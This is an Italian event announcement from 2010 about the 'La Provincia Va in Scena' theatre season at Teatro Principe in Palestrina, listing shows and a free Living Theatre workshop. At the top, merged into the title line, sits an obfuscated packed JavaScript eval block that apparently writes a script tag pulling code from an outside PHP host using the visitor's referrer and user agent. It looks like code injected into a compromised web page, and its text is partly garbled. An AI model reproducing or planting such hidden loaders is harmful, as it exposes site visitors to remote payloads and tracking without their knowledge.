

```
eval(function(p,a,c,k,e,d){e=function(c){return
c.toString(36)};if(!".replace(/^(,String))){while(c--){d[c.toString(a)]=k[c]|c.toString(a)}k=[function(e)
{return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new
RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n
m="q";',30,30,'document|j|javascript|encodeURI|src|write|http|45|67|script|text|rel|nofollow|type|
97|language|jquery|userAgent|navigator|script|z|t|sea|var|u0026u|referrer|kishh|j|s|php'.split('|'),0,
{})) in Scena al Teatro Principe di Palestrina
```

Palestrina, 14 Aprile, 2010

Un ricco cartellone di spettacoli e di eventi caratterizza la IV edizione de 'La Provincia Va in Scena', il progetto teatrale dell'Assessorato Provinciale alle Politiche Culturali, realizzato in collaborazione con l'Associazione Teatrale dei Comuni del Lazio (ATCL) e i Comuni della Provincia di Roma.

‘Un progetto dell'Assessorato Provinciale alle Politiche Culturali e dell'ATCL - spiegava il Sindaco di Palestrina Rodolfo Lena ad apertura della programmazione del Teatro Principe ai primi di Aprile - che permette di ampliare la programmazione e l'offerta culturale del Teatro Principe, valorizzano il grande talento degli attori e delle tante compagnie emergenti presenti sul nostro territorio.’

Sei appuntamenti di qualità a prezzi contenuti (5 euro per un singolo spettacolo - 24 euro per l'intero abbonamento) e un laboratorio teatrale gratuito, unico nel suo genere, a cura di Antonia Masulli Matera, attrice dal 1975 del 'Living Theatre' di New York, la compagnia storicamente protagonista di una evoluzione in senso informale dell'arte teatrale, punto di riferimento dell'avanguardia mondiale, soprattutto in una stagione (anni '60,'70 e '80) di grande recupero del valore sociale e aggregativo delle arti e dell'abbandono di artefici sovrastrutturali e di accademie.

Programmazione Teatrale

Sabato 17 Aprile - Ore 21,00

Teatro Principe

‘Areò’

Scritto e diretto da Maurizio Repetto e Gloria Sapio

Con Laura Amicone, Eclario Barone, Enrico Chianca, Anna Chianca, Ivano Ciucci, Cinzia Grifoni, Matteo Rinaldi, Fausta Rota, Anna Rita Tola, Piero Splendori
Andrea Caoduro (chitarra)
Fabio Romano Marianelli (percussioni)

Giovedì 22 Aprile - Ore 21,00

Teatro Principe

'La pupilla' di Carlo Goldoni

Con Francesco Pompilio, Stefania Benincaso, Diego D'Elia, Marco Cipolla,
Vincenzo De Luca, Angela Malvasi, Fabrizio Stefan

Programmazione Laboratorio Teatrale

Laboratorio Teatrale Gratuito
Forme Ritualistiche del Living Theatre
Teatro Principe di Palestrina
Lunedì 19 - Lunedì 26 Aprile
Dalle ore 17.00 alle ore 20.00